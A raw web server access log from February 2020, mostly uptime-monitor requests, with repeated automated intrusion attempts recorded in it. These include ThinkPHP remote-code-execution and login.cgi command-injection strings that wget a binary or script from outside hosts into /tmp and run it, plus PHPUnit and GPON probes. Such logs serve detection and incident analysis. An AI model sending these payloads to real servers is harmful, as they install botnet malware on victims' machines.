2.180.31.164 - - [09/Feb/2020:09:15:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
59.7.155.141 - - [09/Feb/2020:09:15:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:09:16:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:09:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.219.66 - - [09/Feb/2020:09:16:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.163 - - [09/Feb/2020:09:16:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.51.19.235 - - [09/Feb/2020:09:16:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:09:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [09/Feb/2020:09:17:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.151.217 - - [09/Feb/2020:09:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
181.46.240.101 - - [09/Feb/2020:09:21:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:09:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [09/Feb/2020:09:22:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.21.39 - - [09/Feb/2020:09:23:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [09/Feb/2020:09:25:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.66.48 - - [09/Feb/2020:09:25:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.206 - - [09/Feb/2020:09:26:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.135.90.61 - - [09/Feb/2020:09:26:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.119.45 - - [09/Feb/2020:09:27:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.19.147 - - [09/Feb/2020:09:29:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.65 - - [09/Feb/2020:09:29:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [09/Feb/2020:09:34:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.148.101.252 - - [09/Feb/2020:09:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.226.170 - - [09/Feb/2020:09:35:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.28.106 - - [09/Feb/2020:09:36:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.245.189.90 - - [09/Feb/2020:09:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:09:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.6.232.78 - - [09/Feb/2020:09:42:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.149.34.10 - - [09/Feb/2020:09:43:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:09:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [09/Feb/2020:09:54:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:09:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.150 - - [09/Feb/2020:09:54:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:09:55:55 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:09:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:09:56:29 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:09:56:33 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:09:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:09:57:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:09:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [09/Feb/2020:10:01:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:10:01:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:10:01:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:10:01:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:10:02:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:10:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [09/Feb/2020:10:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
123.234.80.198 - - [09/Feb/2020:10:06:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.16.31 - - [09/Feb/2020:10:12:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [09/Feb/2020:10:12:44 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:12:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:13:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:13:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:10:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [09/Feb/2020:10:13:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:13:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:13:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:13:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [09/Feb/2020:10:14:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:10:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.81 - - [09/Feb/2020:10:14:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
63.143.35.230 - - [09/Feb/2020:10:15:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [09/Feb/2020:10:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.165.61.28 - - [09/Feb/2020:10:16:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:10:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.21.39 - - [09/Feb/2020:10:18:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.169.49 - - [09/Feb/2020:10:22:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.57.194 - - [09/Feb/2020:10:24:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:10:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.43.223.145 - - [09/Feb/2020:10:25:46 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [09/Feb/2020:10:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.168.25.32 - - [09/Feb/2020:10:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:10:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:10:27:35 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:10:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:10:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
